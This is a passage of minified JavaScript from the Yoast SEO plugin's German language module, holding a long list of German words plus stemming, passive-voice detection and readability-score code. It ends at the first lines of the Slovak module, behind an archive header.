biet","verbrennungsprodukt","verdachtsmoment","verdampfungsgerät","verdauungstrakt","verdikt","veredelungsprodukt","verehrerpost","vereinspräsident","vereinsrecht","vereinssport","verfahrensrecht","verfassungsfahrt","verfassungsgericht","verfassungsrecht","verfassungsstaat","verfolgungsrecht","verfremdungseffekt","verfügungsgewalt","verfügungsrecht","verfügungsberechtigt","verführungskunst","vergegenständlicht","vergegenwärtigt","vergeltungsakt","vergenossenschaftlicht","vergissmeinnicht","vergißmeinnicht","vergleichsmonat","vergleichsobjekt","vergleichspunkt","vergnügungsetablissement","vergnügungsfahrt","vergnügungssucht","vergrößerungsgerät","verhaltensgestört","verhältniswahlrecht","verhältniswort","verhandlungsangebot","verhandlungsbereit","versandbereit","verteidigungsbereit","verhandlungsmandat","verhandlungsort","verhandlungspunkt","verhöramt","verist","verjährungsfrist","verkaufsagent","verkaufsangebot","verkaufsargument","verkaufsautomat","verkaufsfront","verkaufshit","verkaufsobjekt","verkaufsorientiert","verkaufspunkt","verkehrsamt","verkehrsdelikt","verkehrsinfarkt","verkehrsknotenpunkt","verkehrslicht","verkehrsnachricht","verkehrspolizist","verkehrsrecht","verkehrsunterricht","verkehrsverbot","verklarungsbericht","verknüpfungspunkt","verkündungsblatt","verlagsanstalt","verlagsprospekt","verlagsrecht","verlagsrepräsentant","verlagssignet","verlust","verlustgeschäft","verlust","verlustgeschäft","verlustpunkt","vermessungsamt","vermittlungsamt","vermögensrecht","vermont","vermummungsverbot","verneinungswort","vernichtungswut","vernunft","vernunftheirat","verordnungsblatt","verpackungsflut","verpflichtungsgeschäft","verrat","versammlungsort","versammlungsrecht","versandgeschäft","versandgut","versart","verschlusslaut","verschnitt","verschwendungssucht","versehrtensport","versicherungsagent","versicherungsanstalt","versicherungsrecht","verskunst","versöhnungsfest","versorgungsamt","versorgungsberechtigt","versorgungsgebiet","versorgungsgut","versorgungsstaat","verstakt","verständigungsbereit","verstellungskunst","verstürznaht","versuchsanstalt","versuchsobjekt","versuchsprojekt","vertebrat","verteidigungsbudget","verteidigungsetat","verteidigungspakt","verteilungskonflikt","verteilungszahlwort","vertikalschnitt","vertikutiergerät","vertragsgerecht","vertragspunkt","vertragsrecht","vertragsstaat","vertragstext","vertragswerkstatt","vertrauensanwalt","vertrauensarzt","vertrauensverlust","vertriebsrecht","vervielfältigungsrecht","vervielfältigungszahlwort","verwaltungsakt","verwaltungsgericht","verwaltungsrat","verwaltungsrecht","verwundetentransport","verzicht","verzweiflungsakt","verzweiflungstat","entbindungsanstalt","entdeckungsfahrt","entenbrust","entenfett","entertainment","enthusiast","entlastungsmoment","entlüftungsschacht","entnazifizierungsgericht","entoblast","entoparasit","entrechat","entrefilet","entrepot","entscheidungsfurcht","entscheidungsgewalt","entscheidungsrecht","entscheidungsschlacht","entstehungsort","entsteht","entwässerungsschacht","entwicklungsabschnitt","entwicklungsinstitut","entwicklungsprojekt","entwicklungsschritt","entziehungsanstalt","zerat","zerebrallaut","zerfallsprodukt","zergliederungskunst","zerit","zermatt","zersetzungsprodukt","zerstörungslust","zerstörungswut","zertifikat","zerussit","zervelat","zervelatwurst","beamtenrecht","beamtenschicht","beamtenstaat","beat","beatmungsgerät","beaufort","becherfrucht","beckengurt","becquereleffekt","bedarfsgut","bedenkfrist","bedienungselement","bedienungsgerät","bedienungskomfort","bedingtgut","bedürfnisanstalt","beeinflusst","beeinflußt","beerdigungsanstalt","beerdigungsinstitut","beerenfrucht","beerenobst","beerensaft","beet","befasst","befaßt","befehlsgewalt","beförderungsentgelt","beförderungsrecht","begabungstest","begegnungsort","begleitinstrument","begleittext","begleitwort","begnadigungsrecht","begräbt","begrenzungslicht","begriffswelt","begriffswort","begrüßungswort","behaviorist","behebungsfrist","behelfsausfahrt","behelfsunterkunft","behindertengerecht","behindertensport","behindertentransport","behmlot","beiblatt","beiboot","beignet","beiheft","beikost","beilast","beileidswort","beinamputiert","beinhaut","beirat","beirut","beistandskredit","beistandspakt","beitritt","beitrittsabsicht","beitrittsgebiet","beiwacht","beiwort","beizgerät","bekehrungswut","bekennergeist","bekennermut","bekleidungsamt","bekommen","belegarzt","belegbett","belegfrist","belehrungssucht","belemnit","belesprit","beleuchtungseffekt","beleuchtungsgerät","belfast","belkantist","belcantist","belletrist","bellizist","belt","benedikt","benediktenkraut","benefiziant","benefiziat","benefizkonzert","beneluxstaat","bentonit","benzindunst","beratungspunkt","bereit","bereicherungsabsicht","bereitschaftsarzt","bergamt","bergeslast","bergfahrt","bergfest","berggeist","berggrat","bergluft","bergpredigt","bergsport","berg-und-Tal-Fahrt","bergwacht","bergwelt","bericht","berichtsmonat","beritt","bermudashort","bernbiet","berserkerwut","berufsaussicht","berufssoldat","berufssport","berufsstart","berufstracht","berufsverbot","berufungsfrist","berufungsgericht","berufungsrecht","berührungsangst","berührungspunkt","besanmast","besatzungsgebiet","besatzungsmacht","besatzungsrecht","besatzungssoldat","besatzungsstatut","beschaffungsamt","beschäftigungstherapeut","beschlächt","beschlussrecht","beschlußrecht","beschmet","beschneidungsfest","beschlächt","beschlussrecht","beschlußrecht","beschmet","beschneidungsfest","beschwerdefrist","beschwerderecht","beschwörungskunst","beseitigungsanstalt","besetzungsgebiet","besetzungsmacht","besetzungsstatut","besichtigungsfahrt","besitzrecht","besoldungsrecht","besprechungspunkt","besserungsanstalt","bestattungsinstitut","bestimmungsort","bestimmungswort","bestinformiert","bestqualifiziert","bestrahlungsgerät","bestrenommiert","bestsituiert","bestverkauft","besucherrat","besuchsrecht","betpult","betracht","betreibungsamt","betriebsarzt","betriebsfest","betriebsrat","betriebswirt","bett","bettelmusikant","bettelvogt","bettstatt","bettwurst","beulenpest","beutegut","beutekunst","beuterecht","bevölkerungsschicht","bewahranstalt","bewährungsfrist","bewegungsarmut","beweislast","bewußt","bewusst","beziehungsgeflecht","bezirksamt","bezirksarzt","bezirksgericht","bezirkskabinett","bezirksschulrat","bezirksstadt","bezugspunkt","bezugsrecht","heraklit","herat","herbalist","herbst","herbstmonat","herbstpunkt","herdbuchzucht","herdeninstinkt","herfahrt","heringsfilet","heringssalat","herkuleskraut","herkunft","herkunftsort","hermaphrodit","heroenkult","heroinsucht","heroldsamt","heroldskunst","herostrat","herrenabfahrt","herrenbrot","herrendienst","herrenfest","herrenhut","herrenrecht","herrenschnitt","herrenwelt","herrgott","herrnhut","herrschaftsgebiet","herrschaftsgewalt","herrschaftsinstrument","herrschergeschlecht","herrscherkult","herrschsucht","herstellungsart","herzacht","herzangst","herzblatt","herzblut","herzensangst","herzensgut","herzenslust","herzenstrost","herzgeliebt","herzinfarkt","herzinnenhaut","herzklappendefekt","herzogshut","herzlichst","herzpatient","herzpunkt","herzspezialist","überbackt","ueberbackt","überbacktet","ueberbacktet","überbietet","ueberbietet","überbot","ueberbot","überbotet","ueberbotet","überbindet","ueberbindet","überbandet","ueberbandet","überbläst","ueberblaest","überbliest","ueberbliest","überbrät","ueberbraet","überbratet","ueberbratet","überbriet","ueberbriet","überbrietet","ueberbrietet","überbringt","ueberbringt","überbrachtet","ueberbrachtet","überbrücktet","ueberbruecktet","überbrühtet","ueberbrühtet","überbrülltet","ueberbruelltet","überbuchtet","ueberbuchtet","überbürdetet","ueberbuerdetet","überdecktet","ueberdecktet","überdehntet","ueberdehntet","überdenkt","ueberdenkt","überdachtet","ueberdachtet","überdosiertet","ueberdosiertet","überdrehtet","ueberdrehtet","überdrucktet","ueberdrucktet","überdüngtet","ueberdüngtet","übereignetet","uebereignetet","übereiltet","uebereiltet","übererfülltet","uebererfuelltet","überißt","ueberisst","ueberißt","überisst","überesst","ueberesst","übereßt","uebereßt","überaßt","ueberaßt","überesset","ueberesset","überäßet","ueberaesset","überfährt","ueberfaehrt","überfahrt","ueberfahrt","überfuhrt","ueberfuhrt","überfällt","ueberfaellt","überfallet","ueberfallet","überfielt","ueberfielt","überfielet","ueberfielet","überfängt","ueberfaengt","überfingt","ueberfingt","überfinget","ueberfinget","überfärbet","ueberfaerbet","überfettetet","ueberfettetet","überfirnisset","ueberfirnisset","überfirnißtet","ueberfirnisstet","überfischet","ueberfischet","überfischtet","ueberfischtet","überflanktet","ueberflanktet","überflanktet","ueberflanktet","überfliegt","ueberfliegt","überflieget","ueberflieget","überflöget","ueberflöget","überflösset","ueberfloesset","überflosst","ueberflosst","überfloßt","ueberflosst","überfließt","ueberfliesst","überflutetet","ueberflutetet","überformet","ueberformet","überformtet","ueberformtet","überfrachtetet","ueberfrachtetet","überfracht","ueberfracht","überfraget","ueberfraget","überfragtet","ueberfragtet","überfremdetet","ueberfremdetet","überfrisst","ueberfrisst","überfrißt","ueberfrißt","überfresst","ueberfresst","überfreßt","ueberfreßt","überfresset","ueberfresset","überfraßt","ueberfraßt","ueberfrasst","überfräßet","ueberfraesset","überfriert","ueberfriert","überfrieret","ueberfrieret","überfrort","ueberfrort","überfröret","ueberfroeret","überfrört","ueberfroert","überführet","ueberfuehret","überführtet","ueberfuehrtet","überfüllet","ueberfuellet","übergibt","uebergibt","übergebt","uebergebt","übergebet","uebergebet","übergabt","uebergabt","übergäbet","uebergaebet","übergäbt","uebergaebt","übergeht","uebergeht","übergehet","uebergehet","übergingt","uebergingt","übergewichtetet","uebergewichtetet","übergießet","uebergiesset","übergießt","uebergiesst","übergösset","uebergoesset","übergosst","uebergosst","uebergoßt","übergipset","uebergipset","übergipstet","uebergipstet","übergipset","uebergipset","übergipstet","uebergipstet","überglänzet","ueberglaenzet","überglänztet","ueberglaenztet","überglaset","ueberglaset","überglastet","ueberglastet","überglühet","uebergluehet","überglühtet","uebergluehtet","übergoldetet","uebergoldetet","übergraset","uebergraset","übergrastet","uebergrastet","übergrätschet","uebergraetschet","übergrätschtet","uebergraetschtet","übergreift","uebergreift","übergreifet","uebergreifet","übergrifft","uebergrifft","übergriffet","uebergriffet","übergreift","uebergreift","übergreifet","uebergreifet","übergriffet","uebergriffet","übergrifft","uebergrifft","übergrünet","uebergruenet","übergrüntet","uebergruentet","überhat","ueberhat","überhabt","ueberhabt","überhabet","ueberhabet","überhattet","ueberhattet","überhättet","ueberhaettet","überhält","ueberhaelt","überhaltet","ueberhaltet","überhielt","ueberhielt","überhieltet","ueberhieltet","überhändiget","ueberhaendiget","überhändigtet","ueberhaendigtet","überhängt","ueberhaengt","überhänget","ueberhaenget","überhingt","ueberhingt","überhinget","ueberhinget","überhängt","ueberhaengt","überhänget","ueberhaenget","überhängtet","ueberhaengtet","überhänget","ueberhaenget","überhängtet","ueberhaengtet","überhängt","ueberhaengt","überhänget","ueberhaenget","überhingt","ueberhingt","überhinget","ueberhinget","überhastetet","ueberhastetet","überhäufet","ueberhaeufet","überhäuftet","ueberhaeuftet","überhebt","ueberhebt","überhebet","ueberhebet","überhobt","ueberhobt","überhöbet","ueberhoebet","überhebt","ueberhebt","überhebet","ueberhebet","überhobt","ueberhobt","überheiztet","ueberheiztet","überheizet","ueberheizet","überhöhet","ueberhoehet","überhöhtet","ueberhoehtet","überhitzet","ueberhitzet","überhitztet","ueberhitztet","überholet","ueberholet","überholtet","ueberholtet","überhöret","ueberhoeret","überhörtet","ueberhoertet","überinterpretieret","ueberinterpretieret","überinterpretiertet","ueberinterpretiertet","überinterpretieret","ueberinterpretieret","überinterpretiertet","ueberinterpretiertet","überklebet","ueberklebet","überklebtet","ueberklebtet","überkleidetet","ueberkleidetet","überkochet","ueberkochet","überkochtet","ueberkochtet","überkommet","ueberkommet","überkamt","ueberkamt","überkämet","ueberkaemet","überkämt","ueberkaemt","überkompensieret","ueberkompensieret","überkompensiertet","ueberkompensiertet","überkreuzet","ueberkreuzet","überkreuztet","ueberkreuztet","überkronet","ueberkronet","überkrontet","ueberkrontet","überkrustetet","ueberkrustetet","überladet","ueberladet","überludet","ueberludet","überlüdet","ueberluedet","überlappet","ueberlappet","überlapptet","ueberlapptet","überlasset","ueberlasset","überlaßt","ueberlaßt","ueberlasst","ueberlasst","überlässt","ueberlaesst","überließt","ueberließt","ueberliesst","überließet","ueberließet","ueberliesset","überlastet","ueberlastet","überlastetet","ueberlastetet","überläuft","ueberlaeuft","überlaufet","ueberlaufet","überlieft","ueberlieft","überliefet","ueberliefet","überlebet","ueberlebet","überlebtet","ueberlebtet","überleget","ueberleget","überlegtet","ueberlegtet","überlegt","ueberlegt","überleget","ueberleget","überlegtet","ueberlegtet","überleitet","ueberleitet","überleitetet","ueberleitetet","überleset","ueberleset","überlast","ueberlast","überläset","ueberlaeset","überliegt","ueberliegt","überlieget","ueberlieget","überlagt","ueberlagt","überläget","ueberlaeget","überlägt","ueberlaegt","überlistetet","ueberlistetet","übermachet","uebermachet","übermachtet","uebermachtet","übermalet","uebermalet","übermaltet","uebermaltet","übermalet","uebermalet","übermaltet","uebermaltet","übermannet","uebermannet","übermanntet","uebermanntet","übermarchtet","uebermarchtet","übermarchet","uebermarchet","übermästetet","uebermaestetet","übermüdetet","uebermuedetet","übernächtiget","uebernaechtiget","übernächtigtet","uebernaechtigtet","übernimmt","uebernimmt","übernehmt","uebernehmt","übernehmet","uebernehmet","übernahmt","uebernahmt","übernähmet","uebernaehmet","übernähmt","uebernaehmt","übernutzet","uebernutzet","übernutztet","uebernutztet","überpflanzt","ueberpflanzt","überpflanzet","ueberpflanzet","überpflanztet","ueberpflanztet","überplanet","ueberplanet","überplantet","ueberplantet","überprüfet","ueberpruefet","überprüftet","ueberprueftet","überquillt","ueberquillt","überquellt","ueberquellt","überquellet","ueberquellet","überquollt","ueberquollt","überquöllet","ueberquoellet","ueberquöllt","ueberquoellt","überqueret","ueberqueret","überquertet","ueberquertet","überraget","ueberraget","überragtet","ueberragtet","überragt","ueberragt","überraget","ueberraget","überragtet","ueberragtet","überraschet","ueberraschet","überraschtet","ueberraschtet","überreagieret","ueberreagieret","überreagiertet","ueberreagiertet","überrechnetet","ueberrechnetet","überredetet","ueberredetet","überreglementieret","ueberreglementieret","überreglementiertet","ueberreglementiertet","überregulieret","ueberregulieret","überreguliertet","ueberreguliertet","überreichet","ueberreichet","überreichtet","ueberreichtet","überreißet","ueberreisset","überrisset","ueberrisset","überreitet","ueberreitet","überrittet","ueberrittet","überreizet","ueberreizet","überreiztet","ueberreiztet","überrennet","ueberrennet","überrenntet","ueberrenntet","überrollet","ueberrollet","überrolltet","ueberrolltet","überrundetet","ueberrundetet","übersäet","uebersaeet","übersätet","uebersaetet","übersättiget","uebersaettiget","uebersaettigtet","übersättigtet","überschattetet","ueberschattetet","überschätzet","ueberschaetzet","überschätztet","ueberschaetztet","überschauet","ueberschauet","überschautet","ueberschautet","überschäumt","ueberschaeumt","überschäumet","ueberschaeumet","überschäumtet","ueberschaeumtet","überschießt","ueberschießt","ueberschiesst","überschießet","ueberschiesset","ueberschießet","überschosst","ueberschosst","überschosst","ueberschosst","überschoßt","ueberschoßt","überschösset","ueberschoesset","überschlafet","ueberschlafet","überschliefet","ueberschliefet","überschlieft","ueberschlieft","überschlaget","ueberschlaget","überschlüget","ueberschlueget","überschlügt","ueberschluegt","überschlägt","ueberschlaegt","überschlagt","ueberschlagt","überschlaget","ueberschlaget","überschlugt","ueberschlugt","überschlüget","ueberschlueget","überschlügt","ueberschluegt","überschlägt","ueberschlaegt","überschlagt","ueberschlagt","überschlaget","ueberschlaget","überschlugt","ueberschlugt","überschlüget","ueberschlueget","ueberschluegt","überschlügt","überschließt","ueberschließt","ueberschliesst","überschließet","ueberschliesset","überschlosst","ueberschlosst","überschloßt","ueberschlosst","überschlösset","ueberschloesset","überschmieret","ueberschmieret","überschmiertet","ueberschmiertet","überschminket","ueberschminket","überschminktet","ueberschminktet","überschnappt","ueberschnappt","überschnappet","ueberschnappet","überschnapptet","ueberschnapptet","überschneidet","ueberschneidet","überschnittet","ueberschnittet","überschneiet","ueberschneiet","überschneitet","ueberschneitet","überschreibet","ueberschreibet","überschriebet","ueberschriebet","überschriebt","ueberschriebt","überschreiet","ueberschreiet","überschrieet","ueberschrieet","überschriet","ueberschriet","überschriet","ueberschriet","überschreitet","ueberschreitet","überschritt","ueberschritt","überschrittet","ueberschrittet","überschuldetet","ueberschuldetet","überschüttet","ueberschüttet","überschüttetet","ueberschüttetet","überschüttetet","ueberschuettetet","überschwappt","ueberschwappt","überschwappet","ueberschwappet","überschwapptet","ueberschwapptet","überschwemmet","ueberschwemmet","überschwemmtet","ueberschwemmtet","überschwinget","ueberschwinget","überschwangt","ueberschwangt","überschwänget","ueberschwaenget","überschwängt","ueberschwaengt","übersieht","uebersieht","überseht","ueberseht","übersehet","uebersehet","übersaht","uebersaht","übersähet","uebersaehet","übersäht","uebersaeht","übersähet","uebersaehet","übersäht","uebersaeht","übersandtet","uebersandtet","übersendetet","uebersendetet","übersensibilisieret","uebersensibilisieret","übersensibilisiertet","uebersensibilisiertet","übersetzt","uebersetzt","übersetzet","uebersetzet","übersetztet","uebersetztet","übersetzet","uebersetzet","übersetztet","uebersetztet","übersiedet","uebersiedet","übersiedetet","uebersiedetet","übersott","uebersott","übersottet","uebersottet","übersöttet","uebersoettet","übersiedet","uebersiedet","übersiedetet","uebersiedetet","übersott","uebersott","übersottet","uebersottet","übersöttet","uebersoettet","überspannet","ueberspannet","überspanntet","ueberspanntet","überspielet","ueberspielet","überspieltet","ueberspieltet","überspinnet","ueberspinnet","überspännet","ueberspaennet","überspännt","ueberspaennt","überspönnet","ueberspoennet","überspönnt","ueberspoennt","überspitzet","ueberspitzet","überspitztet","ueberspitztet","übersprechet","uebersprechet","überspracht","ueberspracht","übersprächet","ueberspraechet","übersprächt","ueberspraecht","überspringt","ueberspringt","überspringet","ueberspringet","überspränget","ueberspraenget","übersprängt","ueberspraengt","überspringt","ueberspringt","überspringet","ueberspringet","übersprangt","uebersprangt","überspränget","ueberspraenget","übersprängt","ueberspraengt","übersprühet","ueberspruehet","übersprühtet","ueberspruehtet","übersprühet","ueberspruehet","übersprühtet","ueberspruehtet","überspület","ueberspuelet","überspültet","überspueltet","übersticht","uebersticht","überstecht","ueberstecht","überstechet","ueberstechet","überstacht","ueberstacht","überstächet","ueberstaechet","überstächt","ueberstaecht","übersticht","uebersticht","überstecht","ueberstecht","überstechet","ueberstechet","überstacht","ueberstacht","überstächet","ueberstaechet","überstächt","ueberstaecht","überstehet","ueberstehet","überstandet","überstandet","überständet","überstaendet","überstündet","überstuendet","übersteht","uebersteht","überstehet","ueberstehet","überstandet","ueberstandet","überständet","ueberstaendet","überstündet","ueberstuendet","übersteiget","uebersteiget","überstieget","ueberstieget","überstiegt","ueberstiegt","übersteigt","uebersteigt","übersteiget","uebersteiget","überstiegt","ueberstiegt","überstieget","ueberstieget","überstellet","ueberstellet","überstilisieret","ueberstilisieret","überstimmet","ueberstimmet","überstimmtet","ueberstimmtet","überstrahlet","ueberstrahlet","überstrahltet","ueberstrahltet","überstrapazieret","ueberstrapazieret","überstrapaziertet","ueberstrapaziertet","überstreicht","ueberstreicht","überstreichet","ueberstreichet","überstricht","ueberstricht","überstrichet","ueberstrichet","überstreichet","ueberstreichet","überstrichet","ueberstrichet","überstricht","ueberstricht","überstreift","ueberstreift","überstreifet","ueberstreifet","überstreiftet","ueberstreiftet","überstreuet","ueberstreuet","überstreutet","ueberstreutet","überströmet","ueberstroemet","überströmtet","überstroemtet","überstülpt","überstuelpt","ueberstuelpet","überstülpet","überstülptet","ueberstuelptet","überstürzet","ueberstuerzet","überstürztet","ueberstuerztet","übertäubet","uebertaeubet","übertäubtet","uebertaeubtet","übertauchet","uebertauchet","übertauchtet","uebertauchtet","übertippet","uebertippet","übertipptet","uebertipptet","übertönet","uebertoenet","übertöntet","uebertoentet","übertouret","uebertouret","übertourtet","uebertourtet","überträgt","uebertraegt","übertragt","uebertragt","übertraget","uebertraget","übertrugt","uebertrugt","übertrüget","uebertrueget","übertrügt","uebertruegt","übertrainieret","uebertrainieret","übertrainiertet","uebertrainiertet","übertreffet","uebertreffet","übertraft","uebertraft","überträfet","uebertraefet","überträft","uebertraeft","übertreibt","uebertreibt","übertreibet","uebertreibet","übertriebet","uebertriebet","übertriebt","uebertriebt","übertritt","uebertritt","übertretet","uebertretet","übertrat","uebertrat","übertratet","uebertratet","überträtet","uebertraetet","übertritt","uebertritt","übertretet","uebertretet","übertrat","uebertrat","übertratet","uebertratet","überträtet","uebertraetet","übertrumpfet","uebertrumpfet","übertrumpftet","uebertrumpftet","übertünchet","uebertuenchet","übertünchtet","überversorget","ueberversorget","überversorgtet","ueberversorgtet","übervorteilet","uebervorteilet","übervorteiltet","uebervorteiltet","überwachet","ueberwachet","überwachtet","ueberwachtet","überwachset","ueberwachset","überwüchset","ueberwuechset","überwallt","ueberwallt","überwallet","ueberwallet","überwalltet","ueberwalltet","überwallet","ueberwallet","überwalltet","ueberwalltet","überwältiget","ueberwaeltiget","überwältigtet","ueberwaeltigtet","überwalzet","ueberwalzet","überwalztet","ueberwalztet","überwälzet","ueberwaelzet","überwälztet","ueberwaelztet","überwechtetet","ueberwechtetet","überwächtetet","ueberwaechtetet","überwehet","ueberwehet","überwehtet","ueberwehtet","überweidetet","ueberweidetet","überweist","ueberweist","überweiset","ueberweiset","überwiest","ueberwiest","überwieset","ueberwieset","überweißet","ueberweisset","überweißtet","ueberweisstet","überwirft","ueberwirft","überwerft","ueberwerft","überwerfet","ueberwerfet","überwarft","ueberwarft","überwürfet","ueberwuerfet","überwürft","ueberwuerft","überwirft","ueberwirft","überwerft","ueberwerft","überwerfet","ueberwerfet","überwarft","ueberwarft","überwürfet","ueberwuerfet","überwürft","ueberwuerft","überwertetet","ueberwertetet","überwiegt","ueberwiegt","überwieget","ueberwieget","überwogt","ueberwogt","überwöget","ueberwoeget","überwögt","ueberwoegt","überwindet","ueberwindet","überwandet","ueberwandet","überwändet","ueberwaendet","überwölbet","ueberwoelbet","überwölbtet","ueberwoelbtet","ueberwuerzet","ueberwuerzet","überwürztet","ueberwuerztet","überzahlet","ueberzahlet","überzahltet","ueberzahltet","überzahltet","ueberzahltet","überzeichnetet","ueberzeichnetet","überzeuget","ueberzeuget","überzeugtet","ueberzeugtet","überzieht","ueberzieht","überziehet","ueberziehet","überzogt","ueberzogt","überzöget","ueberzoeget","überzögt","ueberzoegt","überzüchtetet","ueberzuechtetet","überangebot","ueberangebot","überbrückungskredit","ueberbrückungskredit","übereinkunft","uebereinkunft","überfahrt","ueberfahrt","überflugverbot","ueberflugverbot","überflutungsgebiet","ueberflutungsgebiet","überfracht","ueberfracht","überfrucht","ueberfrucht","übergangslaut","uebergangslaut","übergebot","uebergebot","übergewicht","uebergewicht","überhangmandat","ueberhangmandat","überhangsrecht","ueberhangsrecht","überholverbot","ueberholverbot","überladenheit","ueberladenheit","überlandfahrt","ueberlandfahrt","überlast","ueberlast","überlegenheit","ueberlegenheit","übermacht","uebermacht","übermaßverbot","uebermassverbot","übermut","uebermut","überraschungseffekt","ueberraschungseffekt","überraschungsgast","ueberraschungsgast","überraschungsmoment","ueberraschungsmoment","überredungskunst","ueberredungskunst","überreiztheit","ueberreiztheit","überrest","ueberrest","überschicht","ueberschicht","überschnitt","ueberschnitt","überschrift","ueberschrift","überschwemmungsgebiet","ueberschwemmungsgebiet","überseegebiet","ueberseegebiet","überseegeschäft","ueberseegeschaeft","übersicht","uebersicht","überspanntheit","ueberspanntheit","überspitztheit","ueberspitztheit","übertragungsrecht","uebertragungsrecht","übertriebenheit","uebertriebenheit","übertritt","uebertritt","überwachungsdienst","ueberwachungsdienst","überwachungsstaat","ueberwachungsstaat","überwelt","ueberwelt","überwinterungsgebiet","ueberwinterungsgebiet","überzeugtheit","ueberzeugtheit","überzeugungstat","ueberzeugungstat","überziehungskredit","ueberziehungskredit"],{indices:Ye,values:Ke}=e.languageProcessing,{getIndicesByWord:Xe,getIndicesByWordList:et}=Ye,{Clause:tt}=Ke,rt=/\S+(apparat|arbeit|dienst|haft|halt|keit|kraft|not|pflicht|schaft|schrift|tät|wert|zeit)($|[ \n\r\t.,'()"+-;!?:/»«‹›<>])/gi,{getClausesSplitOnStopWords:st,createRegexFromArray:nt}=e.languageProcessing,lt={Clause:class extends tt{constructor(e,t){super(e,t),this._participles=function(e){const t=Ve(e),r=[];return(0,Y.forEach)(t,(function(e){(0!==He(e).length||0!==Ge(e).length||0!==_e(e).length||0!==Ze(e).length||0!==Qe(e).length||Ne.includes(e))&&r.push(e)})),r}(this.getClauseText()),this.checkParticiples()}checkParticiples(){const e=this.getParticiples().filter((e=>!(this.hasNounSuffix(e)||(0,Y.includes)(Je,e)||this.hasHabenSeinException(e)||(0,Y.includes)(n,e))));this.setPassive(e.length>0)}hasNounSuffix(e){return null!==e.match(rt)}hasHabenSeinException(e){const t=Xe(e,this.getClauseText());let r=et(["haben","sein"],this.getClauseText());if(0===t.length||0===r.length)return!1;r=(0,Y.map)(r,"index");const s=t[0];return(0,Y.includes)(r,s.index+s.match.length+1)}},regexes:{auxiliaryRegex:nt(i.all),stopwordRegex:nt(G)}};function at(e){return st(e,lt)}const it=function(e,t){const r=new RegExp("^"+e.participleStemmingClasses[1].regex);return new RegExp("^"+e.participleStemmingClasses[0].regex).test(t)?t.slice(2,t.length-2):r.test(t)?t.slice(2,t.length-1):null},bt=function(e,t,r,s,n){for(const l of t)if(new RegExp("^"+l+r).test(e)){const t=e.slice(l.length-e.length);return l+t.slice(s,t.length-n)}return null},ut=function(e,t){const r=e.prefixes.separableOrInseparable;for(const s of e.participleStemmingClasses){const n=s.regex,l=s.startStem,a=s.endStem,i=s.separable?e.prefixes.separable:e.prefixes.inseparable;let b=bt(t,i,n,l,a);if(b)return b;if(b=bt(t,r,n,l,a),b)return b}return null},gt=function(e){let t=e.search(/[aeiouyäöü][^aeiouyäöü]/);return-1!==t&&(t+=2),-1!==t&&t<3&&(t=3),t},ht=function(e){const t=e.search(/(em|ern|er)$/g),r=e.search(/(e|en|es)$/g);let s=e.search(/([bdfghklmnrt]s)$/g);-1!==s&&s++;let n="",l=1e4;return-1!==t?(n="a",l=t,{index1:l,optionUsed1:n}):-1!==r?(n="b",l=r,{index1:l,optionUsed1:n}):-1!==s?(n="c",l=s,{index1:l,optionUsed1:n}):{index1:l,optionUsed1:n}},ot=function(e){const t=e.search(/(en|er|est)$/g);let r=e.search(/(.{3}[bdfghklmnt]st)$/g);-1!==r&&(r+=4);let s=1e4;return-1!==t?s=t:-1!==r&&(s=r),s},ct=function(e,t,r,s){return 1e4!==t&&-1!==s&&t>=s&&(e=e.substring(0,t),"b"===r&&-1!==e.search(/niss$/)&&(e=e.substring(0,e.length-1))),e},dt=function(e,t,r){return 1e4!==t&&-1!==r&&t>=r&&(e=e.substring(0,t)),e},wt=function(e,t){const r=e.veryIrregularVerbs.find((e=>e.forms.includes(t)));return r?r.stem:null},{flattenSortLength:mt}=e.languageProcessing,ft=function(e,t){const r=e.exceptionStems;for(const e of r){const r=e.find((e=>t.endsWith(e)));if(r)return t.slice(0,t.length-r.length)+e[0]}return null},pt=function(e,t){const r=e.exceptions;for(const e of Object.keys(r)){const s=r[e];for(const e of s)if(e.includes(t))return e[0]}return null},kt=function(e,t){let r=t;const s=e.strongAndIrregularVerbs.stems;let n=mt(e.prefixes).find((e=>t.startsWith(e)));if(n){const e=r.slice(n.length,r.length);e.length>2?r=e:n=null}for(const e of s){let t=e.stems;if(t=(0,Y.flatten)(Object.values(t)),t.includes(r))return n?n+e.stems.present:e.stems.present}return null};const{baseStemmer:yt}=e.languageProcessing;function zt(e){const t=(0,Y.get)(e.getData("morphology"),"de",!1);return t?e=>function(e,t){const r=t.verbs,s=function(e,t){const r=wt(e,t);if(r)return r;t=(t=(t=(t=t.replace(/([aeiouyäöü])u([aeiouyäöü])/g,"$1U$2")).replace(/([aeiouyäöü])y([aeiouyäöü])/g,"$1Y$2")).replace(/([aeiouyäöü])i([aeiouyäöü])/g,"$1I$2")).replace(/([aeiouyäöü])e([aeiouyäöü])/g,"$1E$2");const s=gt(t),n=ht(t).index1,l=ht(t).optionUsed1;t=ct(t,n,l,s);const a=ot(t);return(t=(t=(t=(t=dt(t,a,s)).replace(/U/g,"u")).replace(/Y/g,"y")).replace(/I/g,"i")).replace(/E/g,"e")}(r,e);return ft(t.nouns,s)||pt(t.adjectives,s)||kt(r,s)||function(e,t){if(Ie().length>0||Je.includes(t))return"";let r=it(e,t);return r||(r=ut(e,t),r||null)}(r,e)||s}(e,t):yt}const{formatNumber:vt}=e.helpers;function Et(e){const t=180-e.averageWordsPerSentence-58.5*e.numberOfSyllables/e.numberOfWords;return vt(t)}function Ft(e){return e=e.toLowerCase(),H.includes(e)}const{AbstractResearcher:Bt}=e.languageProcessing;class jt extends Bt{constructor(e){super(e),Object.assign(this.config,{language:"de",passiveConstructionType:"periphrastic",firstWordExceptions:t,functionWords:H,stopWords:G,transitionWords:u,twoPartTransitionWords:Z,syllables:Q,keyphraseLength:J}),Object.assign(this.helpers,{getClauses:at,getStemmer:zt,fleschReadingScore:Et,memoizedTokenizer:Se,checkIfWordIsFunction:Ft})}}})(),(window.yoast=window.yoast||{}).Researcher=s})();wordpress-seo/js/dist/languages/sk.js000064400000067430147510273070013700 0ustar00(()=>{"use strict";var n={d:(e,o)=>{for(var a in o)n.o(o,a)&&!n.o(e,a)&&Object.defineProperty(e,a,{enumerable:!0,get:o[a]})},o:(n,e)=>Object.prototype.hasOwnProperty.call(n,e),r:n=>{"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(n,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(n,"__esModule",{value:!0})}},e={};n.r(e),n.d(e,{default:()=>S});const 